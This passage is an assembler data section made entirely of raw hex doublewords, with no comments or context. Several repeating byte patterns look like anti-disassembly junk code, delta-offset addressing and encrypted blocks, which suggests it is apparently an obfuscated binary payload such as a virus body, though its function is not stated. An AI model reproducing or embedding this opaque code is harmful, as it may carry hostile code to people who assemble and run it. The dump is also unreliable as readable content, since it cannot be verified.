		dd 4A8D88Ch, 35840Fh, 16A0000h,	2F01B5FFh, 858D07E0h, 7E37FE8h
		dd 8589D0FFh, 7E03129h,	0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 312995FFh, 32E907E0h, 0C6000000h, 0E0075985h
		dd 0DF685607h, 0FFA9C530h, 0E0292DB5h, 0E8858D07h, 0FF07E37Fh
		dd 858589D0h, 8D07E02Fh, 0E0258185h, 206A5007h,	0FF56056Ah
		dd 0E02F8595h, 0C1C36107h, 2AE906E0h, 19000000h, 3128F8h
		dd 9 dup(0)
		dd 542E900h, 21090000h,	947B4D67h, 0BF0C2DCh, 7E673953h
		dd 0F8DAACC6h, 0E6CF243Eh, 7B954F31h, 0F10BC5A9h, 6A843C1Fh
		dd 0DEF8B298h, 0C1F013FEh, 0BD21D6EDh, 452BB14Bh, 0A688868Bh
		dd 9B46FEE5h, 8D704A81h, 884023D5h, 0E8A28882h,	45FFE5E3h
		dd 0A35B4240h, 99F62B9Eh, 95AF694Fh, 0E28E0C3h,	0B89A593Ch
		dd 5702F9FEh, 1F291440h, 0C5EBC257h, 907472BFh,	0AEDBD1D6h
		dd 6C240751h, 0E09A8052h, 111A94DBh, 0D90A29BAh, 7AF82684h
		dd 5F135434h, 5D000000h, 225C9AC6h, 0FE0C346Eh,	0F134F80h
		dd 0B8BEA549h, 3017D8BEh, 81C8CD78h, 29BA932Eh,	1674C9FAh
		dd 5434E4E8h, 103h, 442B4D00h, 0A289878Ch, 0FEE7E5EAh
		dd 0AFCE4146h, 3439F3D5h, 6DC2373Dh, 627C341Bh,	898AFF2Bh
		dd 2C22F2A4h, 6F73BE24h, 0DFE5A6B2h, 5B3EFFE5h,	0FCA79EA3h
		dd 0ECC6E8E2h, 0A65E4506h, 0F9FFF6FBh, 5E631DFFh, 0BCC17960h
		dd 0BFE22154h, 29BAA0F2h, 0BE33398Ch, 7B351761h, 0E8A98F61h
		dd 0F8B9DC02h, 7E29BAA0h, 0BED5802Bh, 4045FDE4h, 93F64349h
		dd 1419D3B9h, 0CEE3061Dh, 0A829BAA0h, 70554F55h, 9B1AE35Fh
		dd 3BE66A61h, 2479DA36h, 0F8B0936Dh, 0F0F6FCF3h, 5434EAA2h
		dd 72EDh, 492B3700h, 0A78C8A8Fh, 0E6ACD8EFh, 5AD35816h
		dd 6563B0B6h, 0C7C5CA82h, 0B2252AE2h, 4E71207Dh, 29B9D063h
		dd 0F61DC81Bh, 381A6CC1h, 532D647Eh, 0B6ADB26Ah, 1AD4B6B0h
		dd 762E1715h, 0E7A1855Fh, 0D73894E1h, 39F6247Ah, 4F215434h
		dd 2E000000h, 407DA02h,	191F8098h, 8F492BF7h, 0F1A98C8Ah
		dd 0A805BAECh, 0A8C27C5Eh, 0A20F3271h, 0DC29BAA0h, 2B618389h
		dd 40878C44h, 29BAA16Eh, 8B90482Dh, 5E81A78Dh, 29BAA153h
		dd 282DD82Bh, 0D71A77C0h, 0CA207DAEh, 5434EA9Ch, 1B7h
		dd 462B0100h, 3BE69E87h, 98523836h, 0AC869D93h,	93080EC8h
		dd 0CBAD873Eh, 2C110B11h, 0E22E5A74h, 5F0B2E45h, 992E5A9Fh
		dd 4F032F46h, 68496C77h, 0E21D9A5h, 236EB7BBh, 0E19B7F31h
		dd 92DFE5DCh, 0DAF4AE94h, 8CD577A3h, 0A3F6BBDEh, 2D8021D9h
		dd 0A52BE229h, 5BFA59Fh, 8AF6B900h, 0C07521DAh,	1D88B463h
		dd 7F134B65h, 8E746E74h, 2E8BAD4h, 5F454348h, 538A0A5h
		dd 6FDFDFD9h, 0B4BA2055h, 0F433E23Fh, 0D9F0E0D1h, 91439621h
		dd 0F9F0F5AFh, 5913F9F3h, 5A25613Fh, 997353D4h,	1F8FDB7h
		dd 14777FBh, 0C6C10000h, 0A14D6487h, 0D62929BAh, 97947CD0h
		dd 87795D80h, 0B58F2E5Ah, 1C1318D0h, 0B69DF716h, 5702F9FEh
		dd 2F15EF52h, 25D08A6Eh, 7E3F251Fh, 0E1D8DD95h,	644A1C36h
		dd 0C1A7A5AAh, 679A0207h, 3E9A88Dh, 0A2999E49h,	80CA279Ch
		dd 0E8C6E09Ah, 53D4CCBAh, 813920FAh, 0FB7F857Ch, 42h, 0EF4ED145h
		dd 621CFED8h, 160665Dh,	455DF3DEh, 0F3F84B56h, 0BAA205ACh
		dd 4AA768A9h, 0A3BA7BA6h, 455F5180h, 6E53ADD6h,	1AF40BB6h
		dd 15777D35h, 0B413h, 0B0926C00h, 4D520AEFh, 0AFA6AB56h
		dd 4FD187A9h, 0A1506184h, 0C3E629BAh, 29BAA0EEh, 9F5E3588h
		dd 0BAA1357Ch, 43EE4129h, 3428198h, 0BAA0D1E0h,	545AAD29h
		dd 5AA48911h, 0A7ACFF2Eh, 1902C3A9h, 0BA655C61h, 2EE6C9A3h
		dd 0D5DB937Ch, 0FABBA173h, 0AFB45F17h, 0DA9D6468h, 522CCB21h
		dd 14CCAF70h, 686D180Fh, 9CCFE205h, 54A721DAh, 0D12EA3A9h
		dd 0CDE7A187h, 0D3B97FA1h, 721D1419h, 60421C5Bh, 0A4AAA1A6h
		dd 790EBB61h, 29255126h, 12CAB3C1h, 0AC12160Dh,	123137F1h
		dd 0D6BCBABFh, 0A21171Ch, 8D924C30h, 0C61B9096h, 2239F61Ah
		dd 55AA1DFFh, 620732Eh,	5ECC60Ch, 0A6AB6346h, 0AAFE04AFh
		dd 0D8B2C966h, 0D43339F1h, 59126BB1h, 0E3C7A12Eh, 272D2429h
		dd 0E70A4908h, 21D6EDCAh, 4B6661B4h, 5821D6EEh,	8EE1B872h
		dd 0FAE0DEE3h, 6E542640h, 0E568AFB4h, 1178E2Ch,	147B6E2h
		dd 0E161A601h, 0BF0966DBh, 0C9081FD9h, 92890BA6h, 1A2073F8h
		dd 0ED00E6B8h, 269BFCA3h, 29375898h, 55344251h,	0FCFAFFAAh
		dd 58565B13h, 0B7B5BA74h, 0C5151AD2h, 9F3FB107h, 853A2028h
		dd 0E3BE528h, 0C78167B1h, 0B99C76ADh, 93AB55A8h, 0DB8A32Fh
		dd 6D270D07h, 492B0568h, 8D938A8Fh, 0F63h, 0FFE2BC00h
		dd 25D40BEEh, 0CA7522F2h, 6624A2C4h, 8489432Bh,	0E1E6A086h
		dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h
		dd 2025DDC2h, 7E833B22h, 0E189516Dh, 4C181h, 0E9830000h
		dd 240C8704h, 6824248Bh, 516Fh,	50243C89h, 405E089h, 83000000h
		dd 48704E8h, 4895C24h, 0B3DE6824h, 3C8B07E3h, 4C48124h
		dd 68000000h, 2188h, 81242489h,	42404h,	81580000h, 4ECh
		dd 241C8900h, 8BBh, 89C30100h, 34FF5B3Bh, 0C4815824h, 4
		dd 53243C8Bh, 0C381E389h, 4, 4C381h, 1C870000h,	0C4E95C24h
		dd 7AFFFCC7h, 251DE820h, 1E2A74EBh, 0E3B895B8h,	0FFC50307h
		dd 0D3D14DE0h, 3D979752h, 0CBD14F00h, 0B233F571h, 3CED150Dh
		dd 0A451D7Ch, 75C0B04Fh, 5F541D03h, 0EC8DFD6Fh,	6C2F3F08h
		dd 0F5A73115h, 0D6C6EA48h, 0A668DF50h, 0C8B0C676h, 9CE02B51h
		dd 39FA2045h, 61AA3304h, 128B7961h, 40FEFA01h, 2EF61129h
		dd 8F4FEB71h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h
		dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h
		dd 0DB6734DFh, 62A900A6h, 0EA1A0047h, 0D5A3h, 199C0000h
		dd 0FECAh, 0FBFE4Ah, 0B4870000h, 202352DDh, 339C9ED9h
		dd 0A6E977E7h, 8B000011h, 0E0339D95h, 0B1BD8307h, 7E016h
		dd 4C850Fh, 0B5010000h,	7E020C5h, 0CDB53151h, 5A07E033h
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 4764756Fh, 85E2B93Dh, 890F3C52h
		dd 6, 348D8D03h, 4C207E0h, 0BF0F6000h, 0C08B61D0h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 82C35040h, 1C2A0278h
		dd 0BA8DB966h, 95F38060h, 289FBE66h, 0B1BD8361h, 7E006h
		dd 0BD830975h, 7E001C5h, 50137400h, 0B8C08B53h,	4D0h, 0BA369D8Dh
		dd 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50117400h,	4D0B853h
		dd 9D8D0000h, 7E2B983h,	585BD3FFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 52C35545h, 0ADBD29E6h, 6A07E033h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 28EEC350h, 0E88A6061h, 8498531h, 8B6107E0h
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 5F12DCABh, 0CA8B6660h, 0B9BE858Dh, 816607E3h
		dd 506ED4DFh, 489F48Ah,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0E900EDF5h, 0CD4F7FACh
		dd 7F59D01h, 858D07E0h,	7E3B97Bh, 3810Fh, 0BF0F0000h, 458D8BD6h
		dd 5007E02Dh, 4896160h,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0B70F6AB8h, 4595FFF9h
		dd 6A07E025h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0E8DDC351h, 800F7EB0h,	6, 29FD8D29h
		dd 0BF6607E0h, 448B7C98h, 0BD8B0424h, 7E0074Dh,	0B9A68589h
		dd 6A07E3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 154343C3h, 819FB1BBh, 34F659D2h
		dd 24448B62h, 0C9958B08h, 8907E008h, 0E3B9BA85h, 8B566007h
		dd 0E02FF9B5h, 8D0F5A07h, 6, 2B759D89h,	836107E0h, 0E020C1BDh
		dd 850F0007h, 0E2h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0EDC35646h, 66607CEBh, 12E8CF8Bh, 25000000h
		dd 0CE20703Bh, 0F7CC3C0Bh, 60FDE4F1h, 0A888A2BCh, 5B5A505Dh
		dd 5985C661h, 4707E007h, 17299D01h, 4E807E0h, 0D2000000h
		dd 0BFD49AA7h, 25EDF7CDh, 66525050h, 0FC374B9h,	7E96031h
		dd 0CA000000h, 0ED502A6Eh, 0B866776Dh, 5A61C90Ch, 24448B58h
		dd 0EE85304h, 57000000h, 7E1A0642h, 0B623F13Ch,	0A5CD0C5Dh
		dd 0F52500Dh, 5A585A31h, 8B008B5Ah, 244489FAh, 870F6004h
		dd 0
		dd 68D0Fh, 8D0F0000h, 0
		dd 0BD8B5861h, 7E02C89h, 292DB5FFh, 816607E0h, 8DA2E9F2h
		dd 0E37FE885h, 8BD0FF07h, 0E02B758Dh, 0C1858907h, 0F07E020h
		dd 58Ch, 0D1816600h, 0BD836152h, 7E01D05h, 0AA850F00h
		dd 8B000000h, 0E019B1BDh, 5985C607h, 4707E007h,	0DBEDBF66h
		dd 934F6C68h, 2404811Fh, 6A7C6676h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 33C35242h, 2DB5FFF8h, 6A07E029h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 4CEDC355h, 0C981FC64h, 5CF09B2Eh,	7FE8858Dh
		dd 6A07E3h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 1E6D0C3h,	8F0F2920h, 6, 315D8589h, 0D0FF07E0h
		dd 1D058589h, 816607E0h, 12C47E7h, 0E010D98Dh, 59BD8307h
		dd 7E018h, 0F9850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0C7DD10C3h, 0C64F3B0Ah
		dd 0E0075985h, 68FC5607h, 0EF240FEEh, 0FE9h, 0D43BB900h
		dd 93FB78C1h, 6A74AB0Ch, 463AC2F5h, 0D7243481h,	0E93B3B62h
		dd 8, 7B6F82B9h, 3DD11Ah, 292DB5FFh, 8E807E0h, 0B000000h
		dd 0FCF5373h, 0F4AC905h, 118Bh,	0CE900h, 8C320000h, 0A7E9DD6Ah
		dd 0E95C4285h, 8D5A4120h, 0E37FE885h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 0FF126155h, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0B2D02092h, 0C9BD292Dh
		dd 0FC07E001h, 18598589h, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 6E473FC3h, 99958BDDh
		dd 0C607E018h, 0E0075985h, 66606C07h, 0B5AF4EBEh, 81686146h
		dd 0B9F391F4h, 51B0E21Dh, 2243481h, 6A289484h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 3174C356h, 0F2816631h, 840FC0A6h, 6,	21818D8Bh, 0B5FF07E0h
		dd 7E02F01h, 11E9h, 90676600h, 0D6D68688h, 0E596FFE6h
		dd 186BE7E0h, 858D7C4Eh, 7E039F8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 74C35646h, 850105C3h, 7E02A01h
		dd 0BD0B8AB5h, 7E02879h, 85BAD0FFh, 8912C345h, 0E3B9AA85h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 4A26AE69h, 0F2805CCh, 158Ah, 10E900h, 86FC0000h
		dd 496207D2h, 0B6B60AB8h, 0D8200ACAh, 0BD8324B7h, 7E3B9C6h
		dd 71850F00h, 51000000h, 2EA9BD8Bh, 0C65F07E0h,	0E0075985h
		dd 0BA664907h, 9368D5C3h, 6041688Ch, 9E395BBFh,	4816134h
		dd 0AC9D5624h, 0B985894Ah, 0FF07E006h, 0E02F01B5h, 0C1816607h
		dd 0E181F496h, 67B70573h, 39F8858Dh, 6A07E0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 21F1AAC3h
		dd 731CB4EDh, 89F9D0FFh, 0E3B9C685h, 0EDF58007h, 6A046Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0AE54A4C3h, 897E316Bh, 89443865h, 0E001E995h, 4E807h
		dd 10000000h, 0F78A0000h, 0F88B6650h, 424448Bh,	8B82B2h
		dd 10E8h, 0BAEAAA00h, 0EE9CA00Ch, 0B532D61Ah, 0FA1BD232h
		dd 4489594Bh, 10E90424h, 0C4000000h, 1CED597Bh,	965903Ah
		dd 9D24F3A0h, 586C929Ah, 2AB2BF66h, 0D51B2568h,	81EDB626h
		dd 1B252434h, 32BF26D4h, 6A761462h, 4BD78100h, 0FF2BCCA4h
		dd 0E01DB595h, 0F8BA5207h, 592F60E0h, 38D0Fh, 0B70F0000h
		dd 0B68589CFh, 6007E3B9h, 16018D09h, 0BCBA07E0h, 6131F5A6h
		dd 0B9AE85C7h, 7E3h, 0E9530000h, 6, 12B933E0h, 6A5FF95Ah
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8B668D4Eh, 0D7B268F9h, 0C88A5713h, 0B2243481h
		dd 815712D7h, 342C05DFh, 8A0F5043h, 2, 489F5B1h, 29850124h
		dd 6A07E02Bh, 0BD78B90Bh, 858D7002h, 7E3B983h, 0E990C9B2h
		dd 0Bh,	0BA74FB3Bh, 0BE2D0DF6h,	50FE0244h, 52006A90h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 72F737F8h, 0A99D0960h, 8B07E02Fh, 816661D9h,	0FF121FDAh
		dd 0E020C195h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0A68B4967h, 0B98452F3h
		dd 0B3DAEA81h, 9589601Eh, 7E018C9h, 0B98DB58Dh,	6A07E3h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0D12D5EC3h, 0BD8D23EEh, 8B07E017h, 0E0306DBDh, 66605007h
		dd 0BE66FE8Bh, 8961BAC7h, 0BD8B2434h, 7E02DADh,	2A59958Bh
		dd 0BA5007E0h, 34A049BDh, 51240489h, 2F058D8Bh,	0FF5A07E0h
		dd 0E01D0595h, 6820F07h, 29000000h, 0E02F59BDh,	0FC00B07h
		dd 3985h, 99BD3300h, 0E907E031h, 702h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 9FC35242h, 25527A09h, 9E9h
		dd 0F0075000h, 750E44Eh, 0D0FF4EF0h, 2E09B501h,	0B58B07E0h
		dd 7E3B9B6h, 7CC0B1B9h,	20468D73h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 89C35545h, 0B6F6B71Ah, 0B595899Ah
		dd 6A07E02Fh, 0FB8B6604h, 0BF525090h, 66FBA9E7h, 6651310Fh
		dd 5A59D78Bh, 0BF665058h, 6A907DEDh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0D063C352h
		dd 47DEA3Fh, 0B1593D60h, 0C695FFD3h, 6007E3B9h,	1D0BE66h
		dd 5BD8B61h, 0B07E025h,	1B840FC0h, 57000000h, 29218D03h
		dd 0E95F07E0h, 62Eh, 5F8CDCBFh,	89F56040h, 0E025358Dh
		dd 7E806107h, 840F0020h, 616h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 53C35141h, 0A33507BBh, 0F9BF0FC8h
		dd 8B60FB8Bh, 0E00855BDh, 51958B07h, 8D07E01Bh,	0BD292046h
		dd 7E0045Dh, 0B9B28589h, 9E807E3h, 0A8000000h, 9E427F89h
		dd 0FFAF3E07h, 5FC6F280h, 0C8F0Fh, 800F0000h, 6, 0C13BF781h
		dd 17E93F39h, 89000001h, 0E008E18Dh, 0FA8B4007h, 5E850h
		dd 996A0000h, 0E8CB5E37h, 0Bh, 0F7692F6Fh, 0DE6CABE4h
		dd 506A7EA0h, 5A310F52h, 895A5A58h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 72350C3h
		dd 23218D29h, 46A07E0h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0E2C35646h, 8B0B3B56h, 94626808h, 0C7D28137h
		dd 9041092Eh, 68E0Fh, 8B600000h, 616160DAh, 6DBA6650h
		dd 8E0F9027h, 6, 110DBD29h, 95FF07E0h, 7E3B9C6h, 8BCB8B66h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 6D934A07h, 158D8BCDh, 5807E006h,	6830Fh
		dd 958B0000h, 7E01BDDh,	19418589h, 0DB0B07E0h, 2C840Fh
		dd 0D9B10000h, 4B9E9h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 96C9D9ADh, 0F70903Fh
		dd 3880D3BFh, 0E6850F00h, 6AFFFFFEh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 9A5AC357h, 9D72D1C9h, 1A018589h, 8C0F07E0h
		dd 0
		dd 11E9h, 5890F00h, 0BA000000h,	53773523h, 0DA816648h
		dd 853B4555h, 7E3B9B2h,	48820Fh, 81660000h, 80F448C1h
		dd 840F5C38h, 3Ah, 6E9h, 4E647600h, 80134150h, 850F2F38h
		dd 0FFFFFFCCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0CBC35747h, 265CF1DFh, 0F101A58h, 2940CFB7h, 0E0338D8Dh
		dd 0BABD8307h, 7E3B9h, 1B9840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F91F09C3h
		dd 361803FFh, 14E8h, 0F4636800h, 5DD9D91Dh, 12096745h
		dd 268DCECAh, 0FBAD062Fh, 8B505FF6h, 240489F9h,	16218D0Bh
		dd 8D0F07E0h, 17h, 11E8h, 59767C00h, 0E6B63A12h, 8D19A2DFh
		dd 2EA2F237h, 35A317Ah,	0E3B9BA85h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0B6B59EC0h
		dd 8B2C9A4Fh, 0E01B01BDh, 59539007h, 903BB650h,	18AD9D89h
		dd 46A07E0h, 5870Fh, 32BF0000h,	0E8125F52h, 10h, 0C246E524h
		dd 0C33FBFADh, 8DB49C66h, 0FDD8B6A4h, 2B6DBD89h, 505F07E0h
		dd 0CE9h, 7BE0A900h, 0BC2781B5h, 29FB3EBBh, 24048913h
		dd 95FF5A56h, 7E3B9C6h,	3850Fh,	8B660000h, 6AD88BF8h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 3461C352h, 0A3FCE181h, 0BE90734h, 7F000000h,	29371A09h
		dd 0D77ED777h, 6A581EAFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0F1BAC350h,	1FDDBD89h
		dd 8D8B07E0h, 7E0264Dh,	840FDB0Bh, 2Ch,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 0C4C35343h, 38E924FFh
		dd 264E9F8h, 85010000h,	7E00639h, 6A0000C6h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 2A09C357h, 58FAB70Fh, 0EE9h,	41D68B00h, 2982FB59h, 0AA96BA14h
		dd 50C98CA7h, 4830Fh, 0BF660000h, 48992B4h, 0AE824h, 72460000h
		dd 365B376Ch, 0A7153756h, 1B51BD8Bh, 6A5907E0h,	55006A1Eh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 2EF5AE36h, 0E9F2DC0Bh, 5E98F6Eh, 94000000h, 7B9B63DDh
		dd 50C9BF0Fh, 6E8h, 0A9168900h,	6680B471h, 895FD08Bh, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0B9BE48C3h, 0BA66E777h, 95FFA8F0h, 7E3B9C6h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 77C35343h, 0B2C15997h
		dd 89D88BC0h, 0E01B5185h, 9D315807h, 7E008B9h, 840FDB0Bh
		dd 3Ch,	0C8F0Fh, 8F0F0000h, 6, 2C719D01h, 43E907E0h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C53C352h, 0E7B61DEBh, 0CFDD8051h, 0F525090h
		dd 12E831h, 0C0710000h,	0B434AE87h, 0FF587185h,	30ECF368h
		dd 0ED2BA960h, 5A596160h, 0FE8B5058h, 82E68090h, 0B9A6B5FFh
		dd 850F07E3h, 11h, 5E8h, 6116B100h, 880F8F8Dh, 0
		dd 95FFF85Fh, 7E3B9AAh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 46C35646h, 0D18B6662h, 5800Fh, 0F1BF0000h
		dd 0B2ED8A9h, 60850FC0h, 0F000000h, 0E861CBBFh,	13h, 0C58C8394h
		dd 3B3C6822h, 9825F889h, 7BCC00EAh, 89BCAD81h, 0E02FEDBDh
		dd 0BD015F07h, 7E00F85h, 0B9AE85C7h, 107E3h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0F4111CC3h, 0B0D5F41Bh, 45E9h, 5D8D0300h, 6107E034h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 78C35141h
		dd 0E55DB9B4h, 11CC681h, 810F0000h, 5, 0F3C27BB9h, 0F947E920h
		dd 8152FFFFh, 19CF3BC2h, 3D685942h, 0E81D4BB2h,	8, 4359F9A1h
		dd 0A3210F2Bh, 2434815Ah, 1D4B323Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0A6C35343h,	59BD8919h, 6A07E032h
		dd 0C9B70F00h, 0E654BF66h, 0B9B6B5FFh, 6A07E3h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 448DD4C3h, 8974D38Bh, 0E00E0995h, 5995FF07h,	6A07E018h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 985AC355h, 41560839h, 0AE9h, 15695D00h, 22DE1E19h
		dd 0F89A3DD3h, 0B9AE858Bh, 8D8907E3h, 7E02CC9h,	0F525050h
		dd 0B0BA6631h, 89585A80h, 0BF0F2404h, 8BD281CEh, 8D4B4A98h
		dd 0E3B9BE85h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 85017C8Bh, 7E020F9h, 6E9h
		dd 53111500h, 90EADD45h, 8E9h, 0EF014F00h, 94290271h, 3AB65074h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 194F0BAFh, 326960F0h, 7B858DFEh,	8907E3B9h
		dd 0E02DCD85h, 0FB8B9007h, 6A9050h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 2DC8BCC3h
		dd 8B0FD50Bh, 2, 95FFD18Bh, 7E03001h, 0CE9h, 41A2F700h
		dd 559E36Dh, 0CE2E0ED3h, 0F5C08B69h, 6B1BD83h, 750007E0h
		dd 0C5BD8309h, 7E001h, 53501374h, 0D0B8C08Bh, 8D000004h
		dd 0E2BA9D9Dh, 5BD3FF07h, 0C5BD8358h, 7E001h, 53501174h
		dd 4D0B8h, 9C9D8D00h, 0FF07E2B9h, 0BA585BD3h, 1E79C844h
		dd 2FE1958Bh, 958B07E0h, 7E0231Dh, 0E781C08Bh, 6822E567h
		dd 9E858h, 0ADBE0000h, 0FAC19E3h, 594CD498h, 8C2CC8Ah
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 307695Fh, 12E92DA0h, 9E000000h, 0FDFD7BE8h
		dd 0DE95255Fh, 0D7F9076Fh, 43A69B40h, 0FC08B0Eh, 858DD0BFh
		dd 7E3B9D5h, 14E9h, 0F6A5AC00h,	6CD9FE6h, 3287053h, 1B327493h
		dd 0A047711Ah, 4D858981h, 0EB07E00Fh, 0C1000039h, 0C102CC00h
		dd 0C102E400h, 0
		dd 4DD44B00h, 54D8D847h, 45D0A676h, 4ED49022h, 44939E4Fh
		dd 6EBD954Eh, 6CF1B876h, 6FC93022h, 74D35A52h, 41D8ED4Ah
		dd 46DDCF46h, 0A9615198h, 0C0A77297h, 217D7225h, 0C08FF9AFh
		dd 26317125h, 0A9BD3F22h, 0C09D7297h, 91004C25h, 20BA0724h
		dd 9D3EFA57h, 275DF8E7h, 70A48822h, 987DF571h, 20BD3B9Bh
		dd 481AABh, 0BD30C8C2h,	275F5B40h, 78E620DDh, 217844A1h
		dd 54BDFBC2h, 98EE2E35h, 20BD3B9Bh, 481AABh, 0BD30C8C2h
		dd 275F5E73h, 78E620DDh, 0C8EFF948h, 20BDFC21h,	7A7E2402h
		dd 24996BABh, 2499DBA3h, 20BDCF3Eh, 57EB560h, 84A81110h
		dd 20C17F5Ch, 0F0CA3998h, 0C63C1804h, 20D7BADAh, 20BE7775h
		dd 7F9DCF22h, 5C34B8E1h, 643CF706h, 20A6FD06h, 77FAFC22h
		dd 8087B2E1h, 33035DD8h, 0E23CF951h, 0A1DB5B79h, 0ABB25CC5h
		dd 2438FCE2h, 46BDF922h, 0E637D59Ch, 0C0BA27A7h, 2B546925h
		dd 0FABD9F22h, 0F0DD4EA6h, 18456150h, 0F8D5DAC3h, 967985E2h
		dd 4897D0Bh, 786906A8h,	9908ADDh, 20D798C2h, 20BE2775h
		dd 7F9DE722h, 5C34ACE1h, 643CFD06h, 20A6F806h, 77FA7E22h
		dd 0DDCE62E1h, 64AF1407h, 0C83842C4h, 4ABA045Dh, 2355A222h
		dd 0BDF922h, 0A9E43F7Bh, 0A1B95A6Eh, 39B91B66h,	61BD9F22h
		dd 98250C73h, 0F95A0951h, 20D723DDh, 20BE1172h,	789DFC22h
		dd 643426E1h, 643C3B06h, 20A49B06h, 70FDCF22h, 9D8CAFE1h
		dd 0AB928250h, 0C0AAD0AFh, 0ABB99625h, 264C16DBh, 2BEE3h
		dd 0A1BC1770h, 29B2EB26h, 0A5B4991Dh, 275DEB83h, 20BDFDCAh
		dd 20BF1022h, 0D3361822h, 32393072h, 0C8BD9F22h, 20BDCF25h
		dd 0AE1FF533h, 996056FFh, 72593E84h, 4F9777Bh, 0DE361826h
		dd 27553FA9h, 93BD9F22h, 0EF61F913h, 72EDADBCh,	20BD722Dh
		dd 11B2F922h, 20BD7B2Dh, 78E77E22h, 4F9B67Dh, 0F136F926h
		dd 71BDA57Ah, 20BDE4CAh, 0E3E4D322h, 4F1707Bh, 4F97D26h
		dd 20BD6626h, 0E3EC7E22h, 4F5A8BF6h, 4AE29834h,	71BD8D22h
